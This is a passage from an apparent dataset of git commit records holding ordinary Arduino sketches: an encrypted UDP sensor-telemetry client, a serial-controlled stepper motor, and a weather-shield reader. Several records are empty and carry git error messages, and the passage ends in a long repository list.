\"{\\\"values\\\":{\\\"t2\\\":%s}}\", tmp2);\n }\n else \n {\n sprintf((char*)padded, \"{\\\"values\\\":{\\\"t1\\\":%s,\\\"t2\\\":%s}}\", tmp1, tmp2);\n }\n Serial.println((char*)padded);\n \n \/\/encrypt and sign\n byte srclen = strlen((char*)padded);\n Serial.println(srclen);\n byte padnum = 16 - (srclen % 16);\n \/\/memcpy(padded, payloadStr, strlen(payloadStr));\n memset(padded+srclen, padnum, padnum);\n \n int paddedLen = srclen + padnum;\n Serial.println(paddedLen);\n\n memset(iv, 0, 16);\n iv[0] = counter & 0xFF;\n iv[1] = (counter & 0xFF00) >> 8;\n iv[3] = (counter & 0xFF0000) >> 16;\n iv[4] = (counter & 0xFF000000) >> 24;\n cbcaes256.clear();\n cbcaes256.setKey(key, 32);\n cbcaes256.setIV(iv, 16);\n memcpy(packet, \"IOT\\0\", 4);\n packet[36] = 1;\n packet[37] = 1;\n packet[38] = 0;\n packet[39] = 0;\n memcpy(packet+40, deviceId, 16);\n memcpy(packet+56, iv, 16);\n cbcaes256.encrypt(((uint8_t*)packet)+72, (uint8_t*)padded, paddedLen);\n int len = 72+paddedLen;\n sha256.resetHMAC(key, 32);\n sha256.update(packet+36, len - 36);\n sha256.finalizeHMAC(key, 32, packet+4, 32);\n \n \/\/send\n Udp.beginPacket(serverIp, 9999);\n Udp.write(packet, len);\n Udp.endPacket();\n \n \/\/store counter in eeprom\n counter++;\n if (counter % 10 == 0) {\n EEPROM.write(0, packet[56]);\n EEPROM.write(1, packet[57]);\n EEPROM.write(2, packet[58]);\n EEPROM.write(3, packet[59]); \n }\n }\n\n delay(10);\n if (c - tmp1c > 12000){\n tmp1[0]=0;\n }\n\n if (c-tmp2c > 12000) {\n tmp2[0]=0;\n }\n}\n\n\nvoid radioReceive()\n{\n uint8_t buf[VW_MAX_MESSAGE_LEN];\n uint8_t buflen = VW_MAX_MESSAGE_LEN;\n if (vw_get_message(buf, &buflen))\n {\n buf[buflen]=0;\n Serial.println((char*)buf);\n if ((buflen > 5) && (buflen < 20) && (buf[0] == 'T') && (buf[1] == 'M') && (buf[2] == 'P') && (buf[3] == '1' || buf[3] == '2') && (buf[4] == '='))\n {\n if (buf[3] == '1') {\n memcpy(tmp1, buf+5, buflen-4);\n tmp1c = c;\n } else if (buf[3] == '2'){\n memcpy(tmp2, buf+5, buflen-4);\n tmp2c = c;\n }\n } \n } \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/arduino_iot_cli\/arduino_iot_cli.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"68562c1f7ea7f13af351ba8b1cdd08a28228bea8","subject":"Add motor control arduino sketch","message":"Add motor control arduino sketch\n","repos":"kirberich\/3dscanner","old_file":"steppercontrol\/steppercontrol.ino","new_file":"steppercontrol\/steppercontrol.ino","new_contents":"int motorPin = 9;\nint switchPin = 7;\nint motorStep = 0;\nint maxStep = 200;\nint minimumStepDelay = 2;\n\nString motorState = String(\"off\");\n\nvoid makeStep() {\n digitalWrite(motorPin, HIGH);\n digitalWrite(motorPin, LOW);\n motorStep += 1;\n if (motorStep > maxStep) {\n motorStep = 0;\n } \n}\n\nvoid resetMotor() {\n for (int i = motorStep; i < maxStep; i++) {\n makeStep();\n delay(minimumStepDelay);\n }\n}\n\nvoid setup() { \n pinMode(switchPin, INPUT);\n pinMode(motorPin, OUTPUT);\n digitalWrite(switchPin, HIGH); \n \n Serial.begin(9600);\n} \n\nvoid loop() { \n if(Serial.available() > 0) {\n char command = Serial.read();\n switch (command) {\n case 'd':\n Serial.println(String(\"Current step: \") + motorStep);\n break;\n case 's':\n makeStep();\n Serial.println(motorStep);\n break;\n case 'r':\n resetMotor();\n Serial.println(String(\"Motor reset. (Step is \") + motorStep + String(\")\"));\n }\n }\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'steppercontrol\/steppercontrol.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4d2915b775bce0e9e1611856ad6581194a7546e4","subject":"Original version from who93\/oak_weathershield","message":"Original version from who93\/oak_weathershield\n\nhttps:\/\/github.com\/who93\/oak_weathershield\/commit\/d18f22977b5f78f49595f73520097cb781b7ba93\n","repos":"jhitze\/oak_weather_recorder","old_file":"oak\/oak_weather.ino","new_file":"oak\/oak_weather.ino","new_contents":"\/*Oak Weather Shield sample code\n * Using SparkFunHTU21D.h library from https:\/\/github.com\/sparkfun\/SparkFun_HTU21D_Breakout_Arduino_Library\n * Using BMP180_Breakout_Arduino_Library from https:\/\/github.com\/sparkfun\/BMP180_Breakout_Arduino_Library\n *\n * Get temperature and humidity from HTU21D, pressure from BMP180 with I2C\n * Ambient light is read out with PCF8591 ADC on ADC0\n *\/\n\n#include <Wire.h>\n#include \"SparkFunHTU21D.h\"\n#include \"SFE_BMP180.h\"\n\nHTU21D htu;\nSFE_BMP180 bmp;\n\n#define ALTITUDE 509 \/\/Altitude in meter\n#define PCF8591 (0x90 >> 1) \/\/I2C bus address\n#define ADC0 0x00 \/\/ADC0\n\nint Sleep_pin = 5; \/\/ (Configure as INPUT_PULLUP to default HIGH)\nint OakLEDpin = 1; \/\/ Oak onboard LED pin 1\nint sleepTimeS = 150; \/\/ 150 seconds - adjust a needed\n\nfloat temperature;\nfloat humidity;\nfloat pressure;\nint ambient;\n\nvoid fetchTemperature()\n{\n temperature = htu.readTemperature();\n}\n\nvoid fetchHumidity()\n{\n humidity = htu.readHumidity();\n}\n\nvoid fetchPressure()\n{\n char status = bmp.startTemperature();\n char buffer[10];\n double T,P,p0;\n if (status != 0)\n {\n delay(status);\n \n status = bmp.getTemperature(T);\n if (status != 0)\n {\n status = bmp.startPressure(3);\n if (status != 0)\n {\n delay(status);\n status = bmp.getPressure(P,T);\n if (status != 0)\n {\n pressure = bmp.sealevel(P,ALTITUDE);\n }\n else Particle.publish(\"error retrieving pressure measurement\\n\");\n }\n else Particle.publish(\"error starting pressure measurement\\n\");\n }\n else Particle.publish(\"error retrieving temperature measurement\\n\");\n }\n else Particle.publish(\"error starting temperature measurement\\n\");\n}\n\nvoid printData()\n{\n char tmpStr[64];\n sprintf(tmpStr, \"weather;%s;%s;%s;%s\", String(temperature).c_str(), String(ambient).c_str(), String(pressure).c_str(), String(humidity).c_str());\n Particle.publish(\"weatherstation\", tmpStr, 60, PRIVATE);\n}\n\nvoid fetchAmbient()\n{\n byte value0;\n Wire.beginTransmission(PCF8591); \/\/ wake up PCF8591\n Wire.write(ADC0); \/\/ control byte - read ADC0\n Wire.endTransmission(); \/\/ end tranmission\n Wire.requestFrom(PCF8591, 2);\n value0 = Wire.read();\n value0 = Wire.read();\n delay(200);\n ambient = value0;\n}\n\nvoid setup(void)\n{\n pinMode(Sleep_pin, INPUT_PULLUP); \/\/ Use pullup mode to default HIGH\n\n htu.begin();\n if (!bmp.begin())\n {\n Particle.publish(\"Error, bmp not connected!\");\n while (1);\n }\n fetchTemperature();\n fetchHumidity();\n fetchPressure();\n fetchAmbient();\n printData();\n\n if (digitalRead(Sleep_pin) == HIGH) \n {\n ESP.deepSleep(sleepTimeS * 1000000, WAKE_RF_DEFAULT); \/\/ Sleep\n }\n} \/\/END setup()\n\nvoid loop(void)\n{\n\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'oak\/oak_weather.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"950a680943409a91540d6ecf0fa3898e5583273f","subject":"Added untested receive code for nduino mod","message":"Added untested receive code for nduino mod\n","repos":"ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha","old_file":"nduino\/src\/src.ino","new_file":"nduino\/src\/src.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ekwoodrich\/nirha.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"02c5184955d59027adc3181362bf810ea6ad29ae","subject":"Manufacturer specificies at least 10 microsec to trigger HC-SR04","message":"Manufacturer specificies at least 10 microsec to trigger HC-SR04\n\nAccording to manufacturer's specifications at least 10 microseconds are needed to trigger the chirp of ultrasound used by the HC-SR04. ","repos":"SumoRobotLeague\/MRK-1_Misc,SumoRobotLeague\/MRK-1_Misc","old_file":"Testing the Board\/Test_Ultrasound\/Test_Ultrasound.ino","new_file":"Testing the Board\/Test_Ultrasound\/Test_Ultrasound.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Testing' did not match any file(s) known to git\nerror: pathspec 'the' did not match any file(s) known to git\nerror: pathspec 'Board\/Test_Ultrasound\/Test_Ultrasound.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d6b768d579678a061b32e46082c3decce9fcca01","subject":"Added raw output to TwitterClient for debugging","message":"Added raw output to TwitterClient for debugging\n","repos":"ForestNymph\/Arduino_sources,bsmr-arduino\/Arduino,laylthe\/Arduino,OpenDevice\/Arduino,bigjosh\/Arduino,snargledorf\/Arduino,UDOOboard\/Arduino,ssvs111\/Arduino,ntruchsess\/Arduino-1,ms-iot\/Arduino,jabezGit\/Arduino,spapadim\/Arduino,bigjosh\/Arduino,drpjk\/Arduino,shannonshsu\/Arduino,PeterVH\/Arduino,mattvenn\/Arduino,spapadim\/Arduino,Gourav2906\/Arduino,gonium\/Arduino,danielchalef\/Arduino,Cloudino\/Arduino,arduino-org\/Arduino,NaSymbol\/Arduino,karlitxo\/Arduino,wilhelmryan\/Arduino,zaiexx\/Arduino,weera00\/Arduino,PeterVH\/Arduino,stickbreaker\/Arduino,nandojve\/Arduino,ari-analytics\/Arduino,mangelajo\/Arduino,adamkh\/Arduino,arduino-org\/Arduino,Alfredynho\/AgroSis,lukeWal\/Arduino,henningpohl\/Arduino,pdNor\/Arduino,danielchalef\/Arduino,rcook\/DesignLab,majenkotech\/Arduino,fungxu\/Arduino,bsmr-arduino\/Arduino,fungxu\/Arduino,scdls\/Arduino,ektor5\/Arduino,wayoda\/Arduino,NicoHood\/Arduino,PaoloP74\/Arduino,byran\/Arduino,SmartArduino\/Arduino-1,damellis\/Arduino,jaej-dev\/Arduino,adamkh\/Arduino,karlitxo\/Arduino,nkolban\/Arduino,wayoda\/Arduino,eggfly\/arduino,me-no-dev\/Arduino-1,lulufei\/Arduino,tomkrus007\/Arduino,smily77\/Arduino,bugobliterator\/BUAGI,andyvand\/Arduino-1,tomkrus007\/Arduino,acosinwork\/Arduino,SmartArduino\/Arduino-1,wdoganowski\/Arduino,smily77\/Arduino,arunkuttiyara\/Arduino,wayoda\/Arduino,ashwin713\/Arduino,vbextreme\/Arduino,ashwin713\/Arduino,mangelajo\/Arduino,jamesrob4\/Arduino,ikbelkirasan\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,eduardocasarin\/Arduino,stevemarple\/Arduino-org,me-no-dev\/Arduino-1,Protoneer\/Arduino,Alfredynho\/AgroSis,rcook\/DesignLab,ogferreiro\/Arduino,jamesrob4\/Arduino,kidswong999\/Arduino,Orthogonal-Systems\/arduino-libs,laylthe\/Arduino,bugobliterator\/BUAGI,bigjosh\/Arduino,ikbelkirasan\/Arduino,mc-hamster\/esp8266-Arduino,mattvenn\/Arduino,gestrem\/Arduino,shiitakeo\/Arduino,mateuszdw\/Arduino,myrtleTree33\/Arduino,bugobliterator\/BUAGI,tomkrus007\/Arduino,wayoda\/Arduino,weera00\/Arduino,tommyli2014\/Arduino,jaimemaretoli\/Arduino,PaintYourDragon\/Arduino,ogahara\/Arduino,ektor5\/Arduino,zaiexx\/Arduino,Orthogonal-Systems\/arduino-libs,me-no-dev\/Arduino-1,toddtreece\/esp8266-Arduino,bigjosh\/Arduino,Cloudino\/Cloudino-Arduino-IDE,scdls\/Arduino,ogferreiro\/Arduino,jabezGit\/Arduino,adafruit\/ESP8266-Arduino,benwolfe\/esp8266-Arduino,tbowmo\/Arduino,plinioseniore\/Arduino,andyvand\/Arduino-1,01org\/Arduino,mateuszdw\/Arduino,Protoneer\/Arduino,talhaburak\/Arduino,niggor\/Arduino_cc,gestrem\/Arduino,Cloudino\/Arduino,gestrem\/Arduino,fungxu\/Arduino,shannonshsu\/Arduino,gestrem\/Arduino,lulufei\/Arduino,niggor\/Arduino_cc,Gourav2906\/Arduino,pdNor\/Arduino,pdNor\/Arduino,koltegirish\/Arduino,mboufos\/esp8266-Arduino,shiitakeo\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,ektor5\/Arduino,talhaburak\/Arduino,scdls\/Arduino,nkolban\/Arduino,jmgonzalez00449\/Arduino,eggfly\/arduino,Protoneer\/Arduino,snargledorf\/Arduino,eggfly\/arduino,stickbreaker\/Arduino,talhaburak\/Arduino,mangelajo\/Arduino,cscenter\/Arduino,Cloudino\/Cloudino-Arduino-IDE,PaoloP74\/Arduino,aichi\/Arduino-2,plaintea\/esp8266-Arduino,gestrem\/Arduino,steamboating\/Arduino,eddyst\/Arduino-SourceCode,Chris--A\/Arduino,arduino-org\/Arduino,niggor\/Arduino_cc,EmuxEvans\/Arduino,jabezGit\/Arduino,PaintYourDragon\/Arduino,ikbelkirasan\/Arduino,acosinwork\/Arduino,gonium\/Arduino,arduino-org\/Arduino,superboonie\/Arduino,henningpohl\/Arduino,jmgonzalez00449\/Arduino,stevemayhew\/Arduino,Protoneer\/Arduino,eeijcea\/Arduino-1,kidswong999\/Arduino,NicoHood\/Arduino,NaSymbol\/Arduino,cscenter\/Arduino,superboonie\/Arduino,arunkuttiyara\/Arduino,ForestNymph\/Arduino_sources,raimohanska\/Arduino,arunkuttiyara\/Arduino,jomolinare\/Arduino,plinioseniore\/Arduino,chaveiro\/Arduino,zaiexx\/Arduino,noahchense\/Arduino-1,noahchense\/Arduino-1,ari-analytics\/Arduino,tbowmo\/Arduino,eeijcea\/Arduino-1,tannewt\/Arduino,vbextreme\/Arduino,garci66\/Arduino,zaiexx\/Arduino,xxxajk\/Arduino-1,wayoda\/Arduino,tannewt\/Arduino,steamboating\/Arduino,PaintYourDragon\/Arduino,gonium\/Arduino,ari-analytics\/Arduino,eddyst\/Arduino-SourceCode,tbowmo\/Arduino,Cloudino\/Arduino,aichi\/Arduino-2,bugobliterator\/BUAGI,KlaasDeNys\/Arduino,raimohanska\/Arduino,onovy\/Arduino,rodibot\/Arduino,gestrem\/Arduino,andyvand\/Arduino-1,odbol\/Arduino,381426068\/Arduino,lukeWal\/Arduino,jabezGit\/Arduino,PaoloP74\/Arduino,ricklon\/Arduino,jamesrob4\/Arduino,tommyli2014\/Arduino,bigjosh\/Arduino,NaSymbol\/Arduino,byran\/Arduino,arunkuttiyara\/Arduino,talhaburak\/Arduino,plinioseniore\/Arduino,myrtleTree33\/Arduino,linino\/Arduino,cscenter\/Arduino,probonopd\/Arduino,piersoft\/esp8266-Arduino,UDOOboard\/Arduino,ssvs111\/Arduino,plaintea\/esp8266-Arduino,stevemarple\/Arduino-org,laylthe\/Arduino,spapadim\/Arduino,fungxu\/Arduino,sanyaade-iot\/Arduino-1,mangelajo\/Arduino,probonopd\/Arduino,majenkotech\/Arduino,radut\/Arduino,eeijcea\/Arduino-1,SmartArduino\/Arduino-1,danielchalef\/Arduino,ntruchsess\/Arduino-1,mc-hamster\/esp8266-Arduino,ricklon\/Arduino,drpjk\/Arduino,toddtreece\/esp8266-Arduino,tannewt\/Arduino,nandojve\/Arduino,karlitxo\/Arduino,kidswong999\/Arduino,leftbrainstrain\/Arduino-ESP8266,andrealmeidadomingues\/Arduino,paulmand3l\/Arduino,Protoneer\/Arduino,mattvenn\/Arduino,arduino-org\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,NeuralSpaz\/Arduino,odbol\/Arduino,ogahara\/Arduino,tommyli2014\/Arduino,lukeWal\/Arduino,EmuxEvans\/Arduino,xxxajk\/Arduino-1,jmgonzalez00449\/Arduino,ntruchsess\/Arduino-1,scdls\/Arduino,shannonshsu\/Arduino,zaiexx\/Arduino,Alfredynho\/AgroSis,tannewt\/Arduino,gonium\/Arduino,ikbelkirasan\/Arduino,ms-iot\/Arduino,spapadim\/Arduino,leftbrainstrain\/Arduino-ESP8266,NaSymbol\/Arduino,bigjosh\/Arduino,Cloudino\/Cloudino-Arduino-IDE,tskurauskas\/Arduino,NeuralSpaz\/Arduino,mc-hamster\/esp8266-Arduino,aichi\/Arduino-2,jomolinare\/Arduino,odbol\/Arduino,Alfredynho\/AgroSis,radut\/Arduino,ikbelkirasan\/Arduino,drpjk\/Arduino,shannonshsu\/Arduino,xxxajk\/Arduino-1,lulufei\/Arduino,rcook\/DesignLab,shannonshsu\/Arduino,odbol\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,tannewt\/Arduino,weera00\/Arduino,myrtleTree33\/Arduino,adafruit\/ESP8266-Arduino,paulo-raca\/ESP8266-Arduino,garci66\/Arduino,diydrones\/Arduino,lulufei\/Arduino,mateuszdw\/Arduino,ektor5\/Arduino,tskurauskas\/Arduino,sanyaade-iot\/Arduino-1,karlitxo\/Arduino,eduardocasarin\/Arduino,spapadim\/Arduino,garci66\/Arduino,raimohanska\/Arduino,rcook\/DesignLab,diydrones\/Arduino,radut\/Arduino,majenkotech\/Arduino,ntruchsess\/Arduino-1,odbol\/Arduino,xxxajk\/Arduino-1,stevemarple\/Arduino-org,sanyaade-iot\/Arduino-1,zaiexx\/Arduino,Cloudino\/Arduino,eduardocasarin\/Arduino,gonium\/Arduino,chaveiro\/Arduino,Cloudino\/Arduino,PaoloP74\/Arduino,sanyaade-iot\/Arduino-1,ThoughtWorksIoTGurgaon\/Arduino,eggfly\/arduino,scdls\/Arduino,kidswong999\/Arduino,Chris--A\/Arduino,adafruit\/ESP8266-Arduino,OpenDevice\/Arduino,linino\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,aichi\/Arduino-2,championswimmer\/Arduino,plinioseniore\/Arduino,toddtreece\/esp8266-Arduino,wdoganowski\/Arduino,spapadim\/Arduino,arunkuttiyara\/Arduino,ogahara\/Arduino,niggor\/Arduino_cc,stickbreaker\/Arduino,noahchense\/Arduino-1,ssvs111\/Arduino,ashwin713\/Arduino,probonopd\/Arduino,ms-iot\/Arduino,NeuralSpaz\/Arduino,NeuralSpaz\/Arduino,stevemarple\/Arduino-org,eggfly\/arduino,chaveiro\/Arduino,nandojve\/Arduino,vbextreme\/Arduino,byran\/Arduino,steamboating\/Arduino,stevemayhew\/Arduino,karlitxo\/Arduino,tommyli2014\/Arduino,mateuszdw\/Arduino,henningpohl\/Arduino,onovy\/Arduino,jomolinare\/Arduino,gurbrinder\/Arduino,fungxu\/Arduino,adafruit\/ESP8266-Arduino,PaoloP74\/Arduino,ccoenen\/Arduino,superboonie\/Arduino,gberl001\/Arduino,stevemayhew\/Arduino,shiitakeo\/Arduino,shannonshsu\/Arduino,zenmanenergy\/Arduino,Protoneer\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,tbowmo\/Arduino,odbol\/Arduino,tomkrus007\/Arduino,drpjk\/Arduino,PeterVH\/Arduino,Gourav2906\/Arduino,Cloudino\/Cloudino-Arduino-IDE,Alfredynho\/AgroSis,cscenter\/Arduino,jaej-dev\/Arduino,mattvenn\/Arduino,myrtleTree33\/Arduino,paulo-raca\/ESP8266-Arduino,gurbrinder\/Arduino,jomolinare\/Arduino,rodibot\/Arduino,zaiexx\/Arduino,majenkotech\/Arduino,mc-hamster\/esp8266-Arduino,jaimemaretoli\/Arduino,snargledorf\/Arduino,gurbrinder\/Arduino,ikbelkirasan\/Arduino,nandojve\/Arduino,jaimemaretoli\/Arduino,PeterVH\/Arduino,smily77\/Arduino,HCastano\/Arduino,shiitakeo\/Arduino,ForestNymph\/Arduino_sources,nkolban\/Arduino,bigjosh\/Arduino,niggor\/Arduino_cc,wdoganowski\/Arduino,EmuxEvans\/Arduino,bsmr-arduino\/Arduino,stevemayhew\/Arduino,PaintYourDragon\/Arduino,garci66\/Arduino,ricklon\/Arduino,rcook\/DesignLab,drpjk\/Arduino,koltegirish\/Arduino,tbowmo\/Arduino,plinioseniore\/Arduino,tskurauskas\/Arduino,SmartArduino\/Arduino-1,diydrones\/Arduino,ari-analytics\/Arduino,ForestNymph\/Arduino_sources,jaehong\/Xmegaduino,HCastano\/Arduino,byran\/Arduino,zaiexx\/Arduino,diydrones\/Arduino,andrealmeidadomingues\/Arduino,radut\/Arduino,ms-iot\/Arduino,Chris--A\/Arduino,adamkh\/Arduino,ashwin713\/Arduino,bsmr-arduino\/Arduino,UDOOboard\/Arduino,gurbrinder\/Arduino,bsmr-arduino\/Arduino,onovy\/Arduino,drpjk\/Arduino,jaimemaretoli\/Arduino,eddyst\/Arduino-SourceCode,niggor\/Arduino_cc,myrtleTree33\/Arduino,snargledorf\/Arduino,gurbrinder\/Arduino,PeterVH\/Arduino,eeijcea\/Arduino-1,ektor5\/Arduino,benwolfe\/esp8266-Arduino,lukeWal\/Arduino,NeuralSpaz\/Arduino,paulmand3l\/Arduino,radut\/Arduino,spapadim\/Arduino,ogahara\/Arduino,EmuxEvans\/Arduino,smily77\/Arduino,stickbreaker\/Arduino,championswimmer\/Arduino,adamkh\/Arduino,lukeWal\/Arduino,SmartArduino\/Arduino-1,ogferreiro\/Arduino,01org\/Arduino,stevemarple\/Arduino-org,Ramoonus\/Arduino,eddyst\/Arduino-SourceCode,NaSymbol\/Arduino,NicoHood\/Arduino,pdNor\/Arduino,scdls\/Arduino,shiitakeo\/Arduino,ccoenen\/Arduino,damellis\/Arduino,vbextreme\/Arduino,jabezGit\/Arduino,adafruit\/ESP8266-Arduino,ccoenen\/Arduino,ccoenen\/Arduino,mateuszdw\/Arduino,ssvs111\/Arduino,tskurauskas\/Arduino,laylthe\/Arduino,zenmanenergy\/Arduino,bsmr-arduino\/Arduino,ForestNymph\/Arduino_sources,plinioseniore\/Arduino,tskurauskas\/Arduino,zederson\/Arduino,diydrones\/Arduino,acosinwork\/Arduino,ari-analytics\/Arduino,lulufei\/Arduino,gonium\/Arduino,ms-iot\/Arduino,381426068\/Arduino,HCastano\/Arduino,niggor\/Arduino_cc,ssvs111\/Arduino,niggor\/Arduino_cc,adamkh\/Arduino,jomolinare\/Arduino,HCastano\/Arduino,jaehong\/Xmegaduino,ashwin713\/Arduino,tskurauskas\/Arduino,laylthe\/Arduino,acosinwork\/Arduino,arduino-org\/Arduino,acosinwork\/Arduino,steamboating\/Arduino,wilhelmryan\/Arduino,kidswong999\/Arduino,Ramoonus\/Arduino,chaveiro\/Arduino,wdoganowski\/Arduino,ikbelkirasan\/Arduino,arduino-org\/Arduino,rcook\/DesignLab,ntruchsess\/Arduino-1,byran\/Arduino,KlaasDeNys\/Arduino,ricklon\/Arduino,acosinwork\/Arduino,wdoganowski\/Arduino,cscenter\/Arduino,vbextreme\/Arduino,garci66\/Arduino,zederson\/Arduino,smily77\/Arduino,piersoft\/esp8266-Arduino,majenkotech\/Arduino,lulufei\/Arduino,arunkuttiyara\/Arduino,mangelajo\/Arduino,HCastano\/Arduino,jaimemaretoli\/Arduino,PaoloP74\/Arduino,paulo-raca\/ESP8266-Arduino,zederson\/Arduino,plaintea\/esp8266-Arduino,probonopd\/Arduino,wilhelmryan\/Arduino,EmuxEvans\/Arduino,nkolban\/Arduino,danielchalef\/Arduino,OpenDevice\/Arduino,smily77\/Arduino,ogferreiro\/Arduino,andyvand\/Arduino-1,karlitxo\/Arduino,KlaasDeNys\/Arduino,adamkh\/Arduino,PeterVH\/Arduino,stevemarple\/Arduino-org,Gourav2906\/Arduino,weera00\/Arduino,ari-analytics\/Arduino,me-no-dev\/Arduino-1,PeterVH\/Arduino,Ramoonus\/Arduino,jmgonzalez00449\/Arduino,ogferreiro\/Arduino,jmgonzalez00449\/Arduino,andrealmeidadomingues\/Arduino,NicoHood\/Arduino,scdls\/Arduino,eeijcea\/Arduino-1,tommyli2014\/Arduino,andrealmeidadomingues\/Arduino,fungxu\/Arduino,Protoneer\/Arduino,KlaasDeNys\/Arduino,benwolfe\/esp8266-Arduino,NeuralSpaz\/Arduino,henningpohl\/Arduino,stickbreaker\/Arduino,mc-hamster\/esp8266-Arduino,ricklon\/Arduino,wayoda\/Arduino,Alfredynho\/AgroSis,laylthe\/Arduino,koltegirish\/Arduino,wayoda\/Arduino,Chris--A\/Arduino,Ramoonus\/Arduino,bsmr-arduino\/Arduino,superboonie\/Arduino,wilhelmryan\/Arduino,zederson\/Arduino,NeuralSpaz\/Arduino,me-no-dev\/Arduino-1,PaintYourDragon\/Arduino,koltegirish\/Arduino,jaehong\/Xmegaduino,ogahara\/Arduino,eduardocasarin\/Arduino,nandojve\/Arduino,KlaasDeNys\/Arduino,mattvenn\/Arduino,steamboating\/Arduino,mboufos\/esp8266-Arduino,jomolinare\/Arduino,KlaasDeNys\/Arduino,chaveiro\/Arduino,jaehong\/Xmegaduino,mateuszdw\/Arduino,ogahara\/Arduino,vbextreme\/Arduino,arduino-org\/Arduino,rodibot\/Arduino,ntruchsess\/Arduino-1,rodibot\/Arduino,me-no-dev\/Arduino-1,01org\/Arduino,shiitakeo\/Arduino,benwolfe\/esp8266-Arduino,ikbelkirasan\/Arduino,tomkrus007\/Arduino,gestrem\/Arduino,NaSymbol\/Arduino,danielchalef\/Arduino,ari-analytics\/Arduino,tskurauskas\/Arduino,arunkuttiyara\/Arduino,gberl001\/Arduino,kidswong999\/Arduino,EmuxEvans\/Arduino,wayoda\/Arduino,ccoenen\/Arduino,jaej-dev\/Arduino,eggfly\/arduino,mboufos\/esp8266-Arduino,tommyli2014\/Arduino,superboonie\/Arduino,PeterVH\/Arduino,odbol\/Arduino,jabezGit\/Arduino,stevemayhew\/Arduino,bigjosh\/Arduino,championswimmer\/Arduino,byran\/Arduino,zenmanenergy\/Arduino,garci66\/Arduino,ccoenen\/Arduino,nkolban\/Arduino,nandojve\/Arduino,KlaasDeNys\/Arduino,vbextreme\/Arduino,weera00\/Arduino,paulmand3l\/Arduino,wdoganowski\/Arduino,talhaburak\/Arduino,superboonie\/Arduino,talhaburak\/Arduino,ricklon\/Arduino,snargledorf\/Arduino,adamkh\/Arduino,jaej-dev\/Arduino,nkolban\/Arduino,cscenter\/Arduino,cscenter\/Arduino,Cloudino\/Cloudino-Arduino-IDE,jamesrob4\/Arduino,steamboating\/Arduino,jaehong\/Xmegaduino,plaintea\/esp8266-Arduino,lukeWal\/Arduino,danielchalef\/Arduino,pdNor\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,UDOOboard\/Arduino,ssvs111\/Arduino,linino\/Arduino,EmuxEvans\/Arduino,ektor5\/Arduino,Gourav2906\/Arduino,bugobliterator\/BUAGI,tomkrus007\/Arduino,OpenDevice\/Arduino,andrealmeidadomingues\/Arduino,zederson\/Arduino,paulmand3l\/Arduino,koltegirish\/Arduino,henningpohl\/Arduino,mangelajo\/Arduino,paulmand3l\/Arduino,talhaburak\/Arduino,paulo-raca\/ESP8266-Arduino,me-no-dev\/Arduino-1,eduardocasarin\/Arduino,andrealmeidadomingues\/Arduino,gberl001\/Arduino,jmgonzalez00449\/Arduino,onovy\/Arduino,linino\/Arduino,leftbrainstrain\/Arduino-ESP8266,ashwin713\/Arduino,01org\/Arduino,lukeWal\/Arduino,jaehong\/Xmegaduino,piersoft\/esp8266-Arduino,onovy\/Arduino,aichi\/Arduino-2,onovy\/Arduino,01org\/Arduino,leftbrainstrain\/Arduino-ESP8266,koltegirish\/Arduino,jomolinare\/Arduino,Chris--A\/Arduino,shiitakeo\/Arduino,eeijcea\/Arduino-1,ccoenen\/Arduino,fungxu\/Arduino,me-no-dev\/Arduino-1,gberl001\/Arduino,wilhelmryan\/Arduino,ashwin713\/Arduino,danielchalef\/Arduino,381426068\/Arduino,stevemarple\/Arduino-org,mattvenn\/Arduino,wilhelmryan\/Arduino,linino\/Arduino,majenkotech\/Arduino,tommyli2014\/Arduino,gberl001\/Arduino,chaveiro\/Arduino,garci66\/Arduino,adamkh\/Arduino,noahchense\/Arduino-1,vbextreme\/Arduino,bsmr-arduino\/Arduino,henningpohl\/Arduino,myrtleTree33\/Arduino,eddyst\/Arduino-SourceCode,ntruchsess\/Arduino-1,majenkotech\/Arduino,xxxajk\/Arduino-1,eddyst\/Arduino-SourceCode,Ramoonus\/Arduino,championswimmer\/Arduino,Orthogonal-Systems\/arduino-libs,mboufos\/esp8266-Arduino,gberl001\/Arduino,ogahara\/Arduino,bugobliterator\/BUAGI,acosinwork\/Arduino,SmartArduino\/Arduino-1,weera00\/Arduino,lulufei\/Arduino,paulo-raca\/ESP8266-Arduino,benwolfe\/esp8266-Arduino,Cloudino\/Arduino,nandojve\/Arduino,Cloudino\/Arduino,probonopd\/Arduino,jabezGit\/Arduino,aichi\/Arduino-2,niggor\/Arduino_cc,nkolban\/Arduino,NicoHood\/Arduino,ogferreiro\/Arduino,jaej-dev\/Arduino,plaintea\/esp8266-Arduino,andyvand\/Arduino-1,HCastano\/Arduino,championswimmer\/Arduino,ForestNymph\/Arduino_sources,byran\/Arduino,sanyaade-iot\/Arduino-1,OpenDevice\/Arduino,leftbrainstrain\/Arduino-ESP8266,zederson\/Arduino,plinioseniore\/Arduino,Chris--A\/Arduino,raimohanska\/Arduino,381426068\/Arduino,ari-analytics\/Arduino,chaveiro\/Arduino,Cloudino\/Cloudino-Arduino-IDE,rodibot\/Arduino,Alfredynho\/AgroSis,shannonshsu\/Arduino,NicoHood\/Arduino,NicoHood\/Arduino,andrealmeidadomingues\/Arduino,diydrones\/Arduino,NaSymbol\/Arduino,tskurauskas\/